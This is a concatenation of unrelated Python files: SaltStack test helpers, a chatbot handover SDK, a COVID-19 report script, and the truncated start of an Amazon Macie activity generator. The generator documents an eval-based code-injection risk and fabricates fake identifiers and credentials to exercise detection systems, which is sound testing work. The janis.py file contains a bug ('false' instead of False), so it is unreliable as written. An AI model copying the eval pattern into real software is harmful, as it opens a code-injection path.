group to be used within a test case. The system user is crated using the ``group`` salt module. The decorated testcase function must accept 'group' as an argument. :param group: The desired group name for the system user. :param on_existing: What to do when the desired username is taken. The available options are: * nothing: Do nothing, act as if the group was created * delete: delete and re-create the existing user * skip: skip the test case """ if on_existing not in ("nothing", "delete", "skip"): raise RuntimeError( "The value of 'on_existing' can only be one of, " "'nothing', 'delete' and 'skip'" ) if not isinstance(delete, bool): raise RuntimeError("The value of 'delete' can only be 'True' or 'False'") def decorator(func): @functools.wraps(func) def wrap(cls): # Let's add the user to the system. log.debug("Creating system group {0!r}".format(group)) create_group = cls.run_function("group.add", [group]) if not create_group: log.debug("Failed to create system group") # The group was not created if on_existing == "skip": cls.skipTest("Failed to create system group {0!r}".format(group)) if on_existing == "delete": log.debug("Deleting the system group {0!r}".format(group)) delete_group = cls.run_function("group.delete", [group]) if not delete_group: cls.skipTest( "A group named {0!r} already existed on the " "system and re-creating it was not possible".format(group) ) log.debug("Second time creating system group {0!r}".format(group)) create_group = cls.run_function("group.add", [group]) if not create_group: cls.skipTest( "A group named {0!r} already existed, was deleted " "as requested, but re-creating it was not possible".format( group ) ) failure = None try: try: return func(cls, group) except Exception as exc: # pylint: disable=W0703 log.error( "Running {0!r} raised an exception: {1}".format(func, exc), exc_info=True, ) # Store the original exception details which will be raised # a little further down the code failure = sys.exc_info() finally: if delete: delete_group = cls.run_function("group.delete", [group]) if not delete_group: if failure is None: log.warning( "Although the actual test-case did not fail, " "deleting the created system group {0!r} " "afterwards did.".format(group) ) else: log.warning( "The test-case failed and also did the removal" " of the system group {0!r}".format(group) ) if failure is not None: # If an exception was thrown, raise it six.reraise(failure[0], failure[1], failure[2]) return wrap return decorator def with_system_user_and_group(username, group, on_existing="delete", delete=True): """ Create and optionally destroy a system user and group to be used within a test case. The system user is crated using the ``user`` salt module, and the system group is created with the ``group`` salt module. The decorated testcase function must accept both the 'username' and 'group' arguments. :param username: The desired username for the system user. :param group: The desired name for the system group. :param on_existing: What to do when the desired username is taken. The available options are: * nothing: Do nothing, act as if the user was created. * delete: delete and re-create the existing user * skip: skip the test case """ if on_existing not in ("nothing", "delete", "skip"): raise RuntimeError( "The value of 'on_existing' can only be one of, " "'nothing', 'delete' and 'skip'" ) if not isinstance(delete, bool): raise RuntimeError("The value of 'delete' can only be 'True' or 'False'") def decorator(func): @functools.wraps(func) def wrap(cls): # Let's add the user to the system. log.debug("Creating system user {0!r}".format(username)) create_user = cls.run_function("user.add", [username]) log.debug("Creating system group {0!r}".format(group)) create_group = cls.run_function("group.add", [group]) if not create_user: log.debug("Failed to create system user") # The user was not created if on_existing == "skip": cls.skipTest("Failed to create system user {0!r}".format(username)) if on_existing == "delete": log.debug("Deleting the system user {0!r}".format(username)) delete_user = cls.run_function( "user.delete", [username, True, True] ) if not delete_user: cls.skipTest( "A user named {0!r} already existed on the " "system and re-creating it was not possible".format( username ) ) log.debug("Second time creating system user {0!r}".format(username)) create_user = cls.run_function("user.add", [username]) if not create_user: cls.skipTest( "A user named {0!r} already existed, was deleted " "as requested, but re-creating it was not possible".format( username ) ) if not create_group: log.debug("Failed to create system group") # The group was not created if on_existing == "skip": cls.skipTest("Failed to create system group {0!r}".format(group)) if on_existing == "delete": log.debug("Deleting the system group {0!r}".format(group)) delete_group = cls.run_function("group.delete", [group]) if not delete_group: cls.skipTest( "A group named {0!r} already existed on the " "system and re-creating it was not possible".format(group) ) log.debug("Second time creating system group {0!r}".format(group)) create_group = cls.run_function("group.add", [group]) if not create_group: cls.skipTest( "A group named {0!r} already existed, was deleted " "as requested, but re-creating it was not possible".format( group ) ) failure = None try: try: return func(cls, username, group) except Exception as exc: # pylint: disable=W0703 log.error( "Running {0!r} raised an exception: {1}".format(func, exc), exc_info=True, ) # Store the original exception details which will be raised # a little further down the code failure = sys.exc_info() finally: if delete: delete_user = cls.run_function( "user.delete", [username, True, True] ) delete_group = cls.run_function("group.delete", [group]) if not delete_user: if failure is None: log.warning( "Although the actual test-case did not fail, " "deleting the created system user {0!r} " "afterwards did.".format(username) ) else: log.warning( "The test-case failed and also did the removal" " of the system user {0!r}".format(username) ) if not delete_group: if failure is None: log.warning( "Although the actual test-case did not fail, " "deleting the created system group {0!r} " "afterwards did.".format(group) ) else: log.warning( "The test-case failed and also did the removal" " of the system group {0!r}".format(group) ) if failure is not None: # If an exception was thrown, raise it six.reraise(failure[0], failure[1], failure[2]) return wrap return decorator class WithTempfile(object): def __init__(self, **kwargs): self.create = kwargs.pop("create", True) if "dir" not in kwargs: kwargs["dir"] = RUNTIME_VARS.TMP if "prefix" not in kwargs: kwargs["prefix"] = "__salt.test." self.kwargs = kwargs def __call__(self, func): self.func = func return functools.wraps(func)( # pylint: disable=unnecessary-lambda lambda testcase, *args, **kwargs: self.wrap(testcase, *args, **kwargs) # pylint: enable=unnecessary-lambda ) def wrap(self, testcase, *args, **kwargs): name = salt.utils.files.mkstemp(**self.kwargs) if not self.create: os.remove(name) try: return self.func(testcase, name, *args, **kwargs) finally: try: os.remove(name) except OSError: pass with_tempfile = WithTempfile class WithTempdir(object): def __init__(self, **kwargs): self.create = kwargs.pop("create", True) if "dir" not in kwargs: kwargs["dir"] = RUNTIME_VARS.TMP self.kwargs = kwargs def __call__(self, func): self.func = func return functools.wraps(func)( # pylint: disable=unnecessary-lambda lambda testcase, *args, **kwargs: self.wrap(testcase, *args, **kwargs) # pylint: enable=unnecessary-lambda ) def wrap(self, testcase, *args, **kwargs): tempdir = tempfile.mkdtemp(**self.kwargs) if not self.create: os.rmdir(tempdir) try: return self.func(testcase, tempdir, *args, **kwargs) finally: shutil.rmtree(tempdir, ignore_errors=True) with_tempdir = WithTempdir def requires_system_grains(func): """ Function decorator which loads and passes the system's grains to the test case. """ @functools.wraps(func) def decorator(*args, **kwargs): if not hasattr(requires_system_grains, "__grains__"): # Late import from tests.support.sminion import build_minion_opts opts = build_minion_opts(minion_id="runtests-internal-sminion") requires_system_grains.__grains__ = salt.loader.grains(opts) kwargs["grains"] = requires_system_grains.__grains__ return func(*args, **kwargs) return decorator @requires_system_grains def runs_on(grains=None, **kwargs): """ Skip the test if grains don't match the values passed into **kwargs if a kwarg value is a list then skip if the grains don't match any item in the list """ def decorator(caller): @functools.wraps(caller) def wrapper(cls): reason = kwargs.pop("reason", None) for kw, value in kwargs.items(): if isinstance(value, list): if not any( str(grains.get(kw)).lower() != str(v).lower() for v in value ): if reason is None: reason = "This test does not run on {}={}".format( kw, grains.get(kw) ) raise SkipTest(reason) else: if str(grains.get(kw)).lower() != str(value).lower(): if reason is None: reason = "This test runs on {}={}, not {}".format( kw, value, grains.get(kw) ) raise SkipTest(reason) return caller(cls) return wrapper return decorator @requires_system_grains def not_runs_on(grains=None, **kwargs): """ Reverse of `runs_on`. Skip the test if any grains match the values passed into **kwargs if a kwarg value is a list then skip if the grains match any item in the list """ def decorator(caller): @functools.wraps(caller) def wrapper(cls): reason = kwargs.pop("reason", None) for kw, value in kwargs.items(): if isinstance(value, list): if any( str(grains.get(kw)).lower() == str(v).lower() for v in value ): if reason is None: reason = "This test does not run on {}={}".format( kw, grains.get(kw) ) raise SkipTest(reason) else: if str(grains.get(kw)).lower() == str(value).lower(): if reason is None: reason = "This test does not run on {}={}, got {}".format( kw, value, grains.get(kw) ) raise SkipTest(reason) return caller(cls) return wrapper return decorator def _check_required_sminion_attributes(sminion_attr, *required_items): """ :param sminion_attr: The name of the sminion attribute to check, such as 'functions' or 'states' :param required_items: The items that must be part of the designated sminion attribute for the decorated test :return The packages that are not available """ # Late import from tests.support.sminion import create_sminion required_salt_items = set(required_items) sminion = create_sminion(minion_id="runtests-internal-sminion") available_items = list(getattr(sminion, sminion_attr)) not_available_items = set() name = "__not_available_{items}s__".format(items=sminion_attr) if not hasattr(sminion, name): setattr(sminion, name, set()) cached_not_available_items = getattr(sminion, name) for not_available_item in cached_not_available_items: if not_available_item in required_salt_items: not_available_items.add(not_available_item) required_salt_items.remove(not_available_item) for required_item_name in required_salt_items: search_name = required_item_name if "." not in search_name: search_name += ".*" if not fnmatch.filter(available_items, search_name): not_available_items.add(required_item_name) cached_not_available_items.add(required_item_name) return not_available_items def requires_salt_states(*names): """ Makes sure the passed salt state is available. Skips the test if not .. versionadded:: 3000 """ not_available = _check_required_sminion_attributes("states", *names) def decorator(caller): if inspect.isclass(caller): # We're decorating a class old_setup = getattr(caller, "setUp", None) def setUp(self, *args, **kwargs): if not_available: raise SkipTest("Unavailable salt states: {}".format(*not_available)) if old_setup is not None: old_setup(self, *args, **kwargs) caller.setUp = setUp return caller # We're simply decorating functions @functools.wraps(caller) def wrapper(cls): if not_available: raise SkipTest("Unavailable salt states: {}".format(*not_available)) return caller(cls) return wrapper return decorator def requires_salt_modules(*names): """ Makes sure the passed salt module is available. Skips the test if not .. versionadded:: 0.5.2 """ not_available = _check_required_sminion_attributes("functions", *names) def decorator(caller): if inspect.isclass(caller): # We're decorating a class old_setup = getattr(caller, "setUp", None) def setUp(self, *args, **kwargs): if not_available: raise SkipTest( "Unavailable salt modules: {}".format(*not_available) ) if old_setup is not None: old_setup(self, *args, **kwargs) caller.setUp = setUp return caller # We're simply decorating functions @functools.wraps(caller) def wrapper(cls): if not_available: raise SkipTest("Unavailable salt modules: {}".format(*not_available)) return caller(cls) return wrapper return decorator def skip_if_binaries_missing(*binaries, **kwargs): import salt.utils.path if len(binaries) == 1: if isinstance(binaries[0], (list, tuple, set, frozenset)): binaries = binaries[0] check_all = kwargs.pop("check_all", False) message = kwargs.pop("message", None) if kwargs: raise RuntimeError( "The only supported keyword argument is 'check_all' and " "'message'. Invalid keyword arguments: {0}".format(", ".join(kwargs.keys())) ) if check_all: for binary in binaries: if salt.utils.path.which(binary) is None: return skip( "{0}The {1!r} binary was not found".format( message and "{0}. ".format(message) or "", binary ) ) elif salt.utils.path.which_bin(binaries) is None: return skip( "{0}None of the following binaries was found: {1}".format( message and "{0}. ".format(message) or "", ", ".join(binaries) ) ) return _id def skip_if_not_root(func): # Late import from tests.support.runtests import RUNTIME_VARS if RUNTIME_VARS.PYTEST_SESSION: setattr(func, "__skip_if_not_root__", True) if not sys.platform.startswith("win"): if os.getuid() != 0: func.__unittest_skip__ = True func.__unittest_skip_why__ = ( "You must be logged in as root to run this test" ) else: current_user = salt.utils.win_functions.get_current_user() if current_user != "SYSTEM": if not salt.utils.win_functions.is_admin(current_user): func.__unittest_skip__ = True func.__unittest_skip_why__ = ( "You must be logged in as an Administrator to run this test" ) return func def repeat(caller=None, condition=True, times=5): """ Repeat a test X amount of times until the first failure. .. code-block:: python class MyTestCase(TestCase): @repeat def test_sometimes_works(self): pass """ if caller is None: return functools.partial(repeat, condition=condition, times=times) if isinstance(condition, bool) and condition is False: # Don't even decorate return caller elif callable(condition): if condition() is False: # Don't even decorate return caller if inspect.isclass(caller): attrs = [n for n in dir(caller) if n.startswith("test_")] for attrname in attrs: try: function = getattr(caller, attrname) if not inspect.isfunction(function) and not inspect.ismethod(function): continue setattr( caller, attrname, repeat(caller=function, condition=condition, times=times), ) except Exception as exc: # pylint: disable=broad-except log.exception(exc) continue return caller @functools.wraps(caller) def wrap(cls): result = None for attempt in range(1, times + 1): log.info("%s test run %d of %s times", cls, attempt, times) caller(cls) return cls return wrap def http_basic_auth(login_cb=lambda username, password: False): """ A crude decorator to force a handler to request HTTP Basic Authentication Example usage: .. code-block:: python @http_basic_auth(lambda u, p: u == 'foo' and p == 'bar') class AuthenticatedHandler(salt.ext.tornado.web.RequestHandler): pass """ def wrapper(handler_class): def wrap_execute(handler_execute): def check_auth(handler, kwargs): auth = handler.request.headers.get("Authorization") if auth is None or not auth.startswith("Basic "): # No username/password entered yet, we need to return a 401 # and set the WWW-Authenticate header to request login. handler.set_status(401) handler.set_header("WWW-Authenticate", "Basic realm=Restricted") else: # Strip the 'Basic ' from the beginning of the auth header # leaving the base64-encoded secret username, password = base64.b64decode(auth[6:]).split(":", 1) if login_cb(username, password): # Authentication successful return else: # Authentication failed handler.set_status(403) handler._transforms = [] handler.finish() def _execute(self, transforms, *args, **kwargs): check_auth(self, kwargs) return handler_execute(self, transforms, *args, **kwargs) return _execute handler_class._execute = wrap_execute(handler_class._execute) return handler_class return wrapper def generate_random_name(prefix, size=6): """ Generates a random name by combining the provided prefix with a randomly generated ascii string. .. versionadded:: 2018.3.0 prefix The string to prefix onto the randomly generated ascii string. size The number of characters to generate. Default: 6. """ salt.utils.versions.warn_until_date( "20220101", "Please replace your call 'generate_random_name({0})' with 'random_string({0}, lowercase=False)' as " "'generate_random_name' will be removed after {{date}}".format(prefix), ) return random_string(prefix, size=size, lowercase=False) def random_string(prefix, size=6, uppercase=True, lowercase=True, digits=True): """ Generates a random string. ..versionadded: 3001 Args: prefix(str): The prefix for the random string size(int): The size of the random string uppercase(bool): If true, include uppercased ascii chars in choice sample lowercase(bool): If true, include lowercased ascii chars in choice sample digits(bool): If true, include digits in choice sample Returns: str: The random string """ if not any([uppercase, lowercase, digits]): raise RuntimeError( "At least one of 'uppercase', 'lowercase' or 'digits' needs to be true" ) choices = [] if uppercase: choices.extend(string.ascii_uppercase) if lowercase: choices.extend(string.ascii_lowercase) if digits: choices.extend(string.digits) return prefix + "".join(random.choice(choices) for _ in range(size)) class Webserver(object): """ Starts a tornado webserver on 127.0.0.1 on a random available port USAGE: .. code-block:: python from tests.support.helpers import Webserver webserver = Webserver('/path/to/web/root') webserver.start() webserver.stop() """ def __init__(self, root=None, port=None, wait=5, handler=None): """ root Root directory of webserver. If not passed, it will default to the location of the base environment of the integration suite's file roots (tests/integration/files/file/base/) port Port on which to listen. If not passed, a random one will be chosen at the time the start() function is invoked. wait : 5 Number of seconds to wait for the socket to be open before raising an exception handler Can be used to use a subclass of tornado.web.StaticFileHandler, such as when enforcing authentication with the http_basic_auth decorator. """ if port is not None and not isinstance(port, six.integer_types): raise ValueError("port must be an integer") if root is None: root = RUNTIME_VARS.BASE_FILES try: self.root = os.path.realpath(root) except AttributeError: raise ValueError("root must be a string") self.port = port self.wait = wait self.handler = ( handler if handler is not None else salt.ext.tornado.web.StaticFileHandler ) self.web_root = None def target(self): """ Threading target which stands up the tornado application """ self.ioloop = salt.ext.tornado.ioloop.IOLoop() self.ioloop.make_current() if self.handler == salt.ext.tornado.web.StaticFileHandler: self.application = salt.ext.tornado.web.Application( [(r"/(.*)", self.handler, {"path": self.root})] ) else: self.application = salt.ext.tornado.web.Application( [(r"/(.*)", self.handler)] ) self.application.listen(self.port) self.ioloop.start() @property def listening(self): if self.port is None: return False sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) return sock.connect_ex(("127.0.0.1", self.port)) == 0 def url(self, path): """ Convenience function which, given a file path, will return a URL that points to that path. If the path is relative, it will just be appended to self.web_root. """ if self.web_root is None: raise RuntimeError("Webserver instance has not been started") err_msg = ( "invalid path, must be either a relative path or a path " "within {0}".format(self.root) ) try: relpath = ( path if not os.path.isabs(path) else os.path.relpath(path, self.root) ) if relpath.startswith(".." + os.sep): raise ValueError(err_msg) return "/".join((self.web_root, relpath)) except AttributeError: raise ValueError(err_msg) def start(self): """ Starts the webserver """ if self.port is None: self.port = get_unused_localhost_port() self.web_root = "http://127.0.0.1:{0}".format(self.port) self.server_thread = threading.Thread(target=self.target) self.server_thread.daemon = True self.server_thread.start() for idx in range(self.wait + 1): if self.listening: break if idx != self.wait: time.sleep(1) else: raise Exception( "Failed to start tornado webserver on 127.0.0.1:{0} within " "{1} seconds".format(self.port, self.wait) ) def stop(self): """ Stops the webserver """ self.ioloop.add_callback(self.ioloop.stop) self.server_thread.join() class SaveRequestsPostHandler(salt.ext.tornado.web.RequestHandler): """ Save all requests sent to the server. """ received_requests = [] def post(self, *args): # pylint: disable=arguments-differ """ Handle the post """ self.received_requests.append(self.request) def data_received(self): # pylint: disable=arguments-differ """ Streaming not used for testing """ raise NotImplementedError() class MirrorPostHandler(salt.ext.tornado.web.RequestHandler): """ Mirror a POST body back to the client """ def post(self, *args): # pylint: disable=arguments-differ """ Handle the post """ body = self.request.body log.debug("Incoming body: %s Incoming args: %s", body, args) self.write(body) def data_received(self): # pylint: disable=arguments-differ """ Streaming not used for testing """ raise NotImplementedError() def dedent(text, linesep=os.linesep): """ A wrapper around textwrap.dedent that also sets line endings. """ linesep = salt.utils.stringutils.to_unicode(linesep) unicode_text = textwrap.dedent(salt.utils.stringutils.to_unicode(text)) clean_text = linesep.join(unicode_text.splitlines()) if unicode_text.endswith("\n"): clean_text += linesep if not isinstance(text, six.text_type): return salt.utils.stringutils.to_bytes(clean_text) return clean_text class PatchedEnviron(object): def __init__(self, **kwargs): self.cleanup_keys = kwargs.pop("__cleanup__", ()) self.kwargs = kwargs self.original_environ = None def __enter__(self): self.original_environ = os.environ.copy() for key in self.cleanup_keys: os.environ.pop(key, None) # Make sure there are no unicode characters in the self.kwargs if we're # on Python 2. These are being added to `os.environ` and causing # problems if sys.version_info < (3,): kwargs = self.kwargs.copy() clean_kwargs = {} for k in self.kwargs: key = k if isinstance(key, six.text_type): key = key.encode("utf-8") if isinstance(self.kwargs[k], six.text_type): kwargs[k] = kwargs[k].encode("utf-8") clean_kwargs[key] = kwargs[k] self.kwargs = clean_kwargs os.environ.update(**self.kwargs) return self def __exit__(self, *args): os.environ.clear() os.environ.update(self.original_environ) patched_environ = PatchedEnviron class VirtualEnv(object): def __init__(self, venv_dir=None): self.venv_dir = venv_dir or tempfile.mkdtemp(dir=RUNTIME_VARS.TMP) if salt.utils.platform.is_windows(): self.venv_python = os.path.join(self.venv_dir, "Scripts", "python.exe") else: self.venv_python = os.path.join(self.venv_dir, "bin", "python") def __enter__(self): try: self._create_virtualenv() except subprocess.CalledProcessError: raise AssertionError("Failed to create virtualenv") return self def __exit__(self, *args): shutil.rmtree(self.venv_dir, ignore_errors=True) def install(self, *args): subprocess.check_call([self.venv_python, "-m", "pip", "install"] + list(args)) def _get_real_python(self): """ The reason why the virtualenv creation is proxied by this function is mostly because under windows, we can't seem to properly create a virtualenv off of another virtualenv(we can on linux) and also because, we really don't want to test virtualenv creation off of another virtualenv, we want a virtualenv created from the original python. Also, on windows, we must also point to the virtualenv binary outside the existing virtualenv because it will fail otherwise """ try: if salt.utils.platform.is_windows(): return os.path.join(sys.real_prefix, os.path.basename(sys.executable)) else: python_binary_names = [ "python{}.{}".format(*sys.version_info), "python{}".format(*sys.version_info), "python", ] for binary_name in python_binary_names: python = os.path.join(sys.real_prefix, "bin", binary_name) if os.path.exists(python): break else: raise AssertionError( "Couldn't find a python binary name under '{}' matching: {}".format( os.path.join(sys.real_prefix, "bin"), python_binary_names ) ) return python except AttributeError: return sys.executable def _create_virtualenv(self): sminion = create_sminion() sminion.functions.virtualenv.create( self.venv_dir, python=self._get_real_python() ) @contextmanager def change_cwd(path): """ Context manager helper to change CWD for a with code block and restore it at the end """ old_cwd = os.getcwd() os.chdir(path) # Do stuff yield # Restore Old CWD os.chdir(old_cwd)
janis.py
import requests import threading from socketIO_client import SocketIO class Janis: def __init__(self, api_key, client_key, platform, *access_token, **kwargs): """ @required: api_key client_key platform @optional: access_token kwargs """ self.headers = {'apikey':api_key,'clientkey':client_key,'platform':platform} if access_token: self.headers['token'] = access_token[0] self.token = access_token[0] if kwargs.get('serverRoot'): self.serverRoot = kwargs.get('serverRoot') else: self.serverRoot = 'https://wordhopapi.herokuapp.com' if kwargs.get('socketServer'): self.socketServer = kwargs.get('socketServer') else: self.socketServer = 'https://wordhop-socket-server.herokuapp.com' if kwargs.get('path'): self.path = kwargs.get('path') else: self.path = '/api/v1/' if kwargs.get('useWebhook'): self.useWebhook = kwargs.get('useWebhook') else: self.useWebhook = false if kwargs.get('janisAppId'): self.janisAppId = kwargs.get('janisAppId') else: self.janisAppId = 1242623579085955 self.apiUrl = self.serverRoot + self.path self.platform = platform self.clientkey = client_key self.start() def hopIn(self, x): response = requests.post(self.apiUrl + "in",headers=self.headers, json=x) result = response.json() return result def hopOut(self, x): response = requests.post(self.apiUrl + "out",headers=self.headers, json=x) result = response.json() return result def logUnknownIntent(self, x): response = requests.post(self.apiUrl + "unknown",headers=self.headers, json=x) return response def assistanceRequested(self, x): response = requests.post(self.apiUrl + "human",headers=self.headers, json=x) return response def passThreadControl(self, x): message = x['message'] recipientID = x['recipient']['id'] appId = message['app_id'] if x['message'].get('is_echo') and (appId == self.janisAppId or appId is None): # If an agent responds via the Messenger Inbox, then `appId` will be null. # If an agent responds from Janis on Slack, the `appId` will be 1242623579085955. # In both cases, we should pause your bot by giving the thread control to Janis. # Janis will pass control back to your app again after 10 minutes of inactivity. # If you want to manually pass back control, use the slash command `/resume` # in the Janis transcript channel, or press "Done" in the Page Inbox on the thread. # See: https://developers.facebook.com/docs/messenger-platform/handover-protocol#app_roles # This app should be the Primary Receiver. Janis should be a Secondary Receiver. # Every time an echo from either Janis or the Page Inbox is received, # this app passes control over to Janis so the humans are the only ones who can respond. j = {"recipient": {"id": recipientID}, "target_app_id": self.janisAppId, "metadata": "passing thread"} uri = "https://graph.facebook.com/v2.6/me/pass_thread_control?access_token=" + self.token response = requests.post(uri, json=j) return response callbacks = None def on(self, event_name, callback): if self.callbacks is None: self.callbacks = {} if event_name not in self.callbacks: self.callbacks.setdefault(event_name,[callback]) else: a = self.callbacks.setdefault(event_name,[callback]) a.append(callback) def trigger(self, event_name, args): if self.callbacks is not None and event_name in self.callbacks: for callback in self.callbacks[event_name]: callback(self, args) def start(self): def setupSocketClient(): if self.useWebhook: return def on_socket_set_response(*args): socket_id = args[0] x = {'socket_id': socket_id, 'clientkey': self.clientkey} r = requests.post(self.apiUrl + "update_bot_socket_id",headers=self.headers, json=x) def on_chat_response_response(*args): channel = args[0]["channel"] text = args[0]["text"] ts = args[0]["ts"] ts = args[0]["ts"] slack_user = args[0]["slack_user"] team = args[0]["team"] if self.platform == 'messenger': messageData = {'metadata':{"ts": ts , "slack_user": slack_user , "team": team }, 'recipient': {'id': channel},'message': {'text': text}} else: messageData = {'metadata':{"ts": ts , "slack_user": slack_user , "team": team }, 'channel': channel, 'text': text} self.hopOut(messageData) self.trigger('chat_response', args[0]) def on_channel_update_response(*args): self.trigger('channel_update', args[0]) with SocketIO(self.socketServer) as socketIO: socketIO.on('chat response', on_chat_response_response) socketIO.on('channel update', on_channel_update_response) socketIO.on('socket_id_set', on_socket_set_response) socketIO.wait() t = threading.Thread(target=setupSocketClient, args = ()) t.daemon = True t.start()
ExtraPractice4.py
# ExtraPractice4.py # สร้างรายงานเคส โควิด-19 ในแต่ละประเทศ import requests import json # list , dictionary from os import path from time import sleep import threading def line(): print("=" * 80) def line2(): print("-" * 80) # นับจำนวนเคสและจำนวนผู้เสียชีวิตในแต่ละประเทศ และคืนค่าเป็น dict ใหม่ def dict_count_cases(c_set): c_stat = [] l = len(c_set) for n, c in enumerate(c_set): # แสดง Loading Bar loading_bar(n + 1, l) c_cases = 0 c_deaths = 0 name = "" # code = "" found = False for j in data["records"]: if j["countriesAndTerritories"] == c: c_cases += j["cases"] c_deaths += j["deaths"] name = j["countriesAndTerritories"] # code = j["geoId"] found = True continue if found: break # c_stat.append({"country": name, "code": code, "cases": c_cases, "deaths": c_deaths}) c_stat.append({"country": name, "cases": c_cases, "deaths": c_deaths}) return c_stat def loading_bar(n, l): print("\rLoading Data : {} ({:.2f}%)".format("█" * round(n / l * 100 / 2), n / l * 100), end="") def title(): line() print("{:>48}".format("COVID-19 REPORT")) print("{:>54}".format("(" + min(alldate) + ") - (" + max(alldate) + ")")) line() print("\t {}{:>32} {:>15}".format("Countries & Territories", "Cases", "Deaths")) line2() def clear_line(): print("\r", end="") # Online file ver. def get_online_json(): thr = threading.Thread(target=scrolling_text, args=("Connecting to Server " + "█ " * 20, 80)) thr.start() # print("Connecting to server...", end="") url = "https://opendata.ecdc.europa.eu/covid19/casedistribution/json/" r = requests.get(url) return json.loads(r.content) # Local file ver. def get_local_json(): # Opening JSON file with open("covid19_casedistribution.json", encoding="UTF-8") as f: return json.load(f) # returns JSON object as a dictionary def scrolling_text(msg, n_chars): # """ # Displays scrolling text of whatever 'msg' and ensures that only n_chars # are shown at a time. If n_chars is greater than the length of msg, then # the string displayed may "loop" around. # # Inputs: # msg: str - The message to display # n_chars: int - The number of characters to display at a time # # Outputs: Returns None, displays the scrolling text indefinitely. # """ len_msg = len(msg) counter = 0 while True: displayed = "" for char in range(n_chars): displayed += msg[(counter + char) % len_msg] print(f"\r{displayed}", end="") sleep(0.05) counter = (counter + 1) % len_msg # Check if loading done... global stop_threads if stop_threads: break def get_countries_and_date(d): ct = set() ad = set() for i in d["records"]: # จัดกลุ่มประเทศจาก JSON ct.add(i["countriesAndTerritories"]) # จัดกลุ่มวันที่จาก JSON ad.add("{}/{}/{}".format(i["year"], i["month"], i["day"])) return ct, ad if __name__ == '__main__': stop_threads = False # Get JSON file data = get_local_json() if path.isfile("covid19_casedistribution.json") else get_online_json() stop_threads = True clear_line() # Get countries and date set data countries, alldate = get_countries_and_date(data) # แสดง Title title() # เรียงลำดับประเทศที่มี case มากที่สุดไปหาน้อยที่สุด c_stat_numorder = sorted(dict_count_cases(countries), key=lambda k: k["cases"], reverse=True) # ลบ Loading Bar clear_line() all_cases = 0 all_deaths = 0 for i, v in enumerate(c_stat_numorder): all_cases += v["cases"] all_deaths += v["deaths"] # แสดงผล print("{:>3}.) {:<45}{:>10,} {:>15,}".format(i + 1, v["country"].replace('_', ' '), v["cases"], v["deaths"])) line2() print("\t TOTAL {:>49,} {:>15,}".format(all_cases, all_deaths)) line() # แสดงกราฟเทียบอัตราส่วนจำนวนเคสทั่วโลกต่อจำนวนเคสแต่ละประเทศ print("\t\t\t\t\t\t\t\tData Visualization") line() sum_percent = 0 for i, v in enumerate(c_stat_numorder): percent = round(v["cases"] / all_cases * 100, 2) if percent > 0.8: sum_percent += percent bar = "█" * round(percent) print("{:>3}.) {:<30} {} ({:.2f}%)".format(i + 1, v["country"].replace('_', ' '), bar, percent)) other_percent = round(100 - sum_percent, 2) print("\t {:<30} {} ({:.2f}%)".format("OTHERS", "█" * round(other_percent), other_percent)) line()
main.py
""" Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved. SPDX-License-Identifier: MIT-0 Description: Anomaly detection systems (i.e. Amazon Macie) often perform quantitative analytics over timeseries derived from activities on their monitored subjects. While the core anomaly detection algorithms can be tested in isolation using test vectors, testing and measuring end to end performance and accuracy of these systems remain a challenge. amazon-macie-activity-generator aims to address at least a subset of these challenges via providing a platform to facilitate timeseries generation, noise addition, anomaly injection and execution on target subjects over an extended period of time. This platform offers generating synthetic timeseries as well as replaying real timeseries gathered from monitoring subjects in the past. SECURITY WARNING: Blueprint files are assumed to contain only trusted content and vetted by amazon-macie-activity-generator stack operators prior to deployment. You need to fundamentally think of blueprints as executable codes which will have access to all things (i.e. computing environment, credentials) as amazon-macie-activity-generator lambda functions. amazon-macie-activity-generator uses python's "eval" to evaluate formulas for anomaly injection and custom shape timeseries generation. Hence, If you ever allow untrusted blueprints to be used for running amazon-macie-activity-generator that is basically opening up a fully fledged code-injection path. Please refrain from setting up amazon-macie-activity-generator stacks with blueprints provided by untrusted individuals or systems. Similarly amazon-macie-activity-generator stack owners/operators are responsible for actions executed on targets (i.e. GetObject on a S3 bucket) based on their blueprints. """ import os import sys import boto3 import json import math import random import uuid import logging import time import textwrap import base64 import string import timesynth as ts import numpy as np from datetime import datetime from scipy import signal from faker import Faker from threading import Thread from faker.providers import BaseProvider from botocore.exceptions import ClientError TIMESERIES_QUEUE_MAX_BATCH_ENTRIES = 10 TIMESERIES_QUEUE_URL = os.environ['TimeSeriesQueue'] CLOUDWATCH_METRIC_DATA_MEMBERS_MAX = 10 S3_LIST_OBJECTS_MAX = 1000 BLUEPRINT_S3_BUCKET_NAME = os.environ['BlueprintBucket'] BLUEPRINT_S3_OBJECT_KEY = os.environ['BlueprintObject'] DEFAULT_S3_BUCKET = os.environ['DefaultS3Bucket'] DEFAULT_SIGNAL_MIN = 1 DEFAULT_SIGNAL_MAX = 20 DEFAULT_NOISE_MIN = 0 DEFAULT_NOISE_MAX = 0 DEFAULT_NUM_POINTS = 100 def get_list_chunks(data, chunks_num): """ Breaks a list to chunks with a given maximum chunk size @param data: input list to be broken to chunks @param checks_num: maximum size of chunks to create @return: list of chunks created from input list """ for i in xrange(0, len(data), chunks_num): yield data[i:i + chunks_num] def get_rand_string(len, chars = string.letters): """ Create a random string with a given length and content characters @param len: length of random string @param chars: list of characters to use for generating the string @return: a string with random content """ return ''.join(random.choice(chars) for x in range(len)) def slice_num(num, slice_size): """ Break a given number to requested slice sizes @param num: a number to be sliced up @param slice_size: maximum size of slices to be extracted @return: a list of slices extracted from the given number """ # Return the number if not sliceable to requested slices. if (num == 0 or slice_size <= 0): return [num] slices = np.full(num/slice_size, slice_size).tolist() if num % slice_size > 0: slices.append(num % slice_size) return slices class FakeIdentifiers(BaseProvider): def itin(self): """ Create a fake Individual Taxpayer Identification Number (ITIN) """ return '9%02d-7%d-%04d' % ( random.randint(0, 99), random.randint(0, 9), random.randint(0, 9999)) def swift_code(self): """ Create a fake SWIFT codes (International bank codes that identifies particular banks worldwide) """ code = (get_rand_string(len = 4, chars = string.uppercase) + random.choice(['GB', 'US', 'DE', 'RU', 'CA', 'JP', 'CN']) + get_rand_string(len = 2, chars = string.uppercase)) if random.random() > 0.5: code += get_rand_string(len = 3, chars = string.uppercase) return code def cve(self): """ Create a fake Common Vulnerabilities and Exposures (CVE) identifier """ return 'CVE-%d-%04d' % ( random.randint(1999, datetime.now().year), random.randint(1, random.choice( [9999, 99999, 999999, 9999999]))) class FakeCredentials(BaseProvider): BASE64_CHARS = string.letters + string.digits + '+/' def aws_creds(self): """ Create a fake set of temporary or long 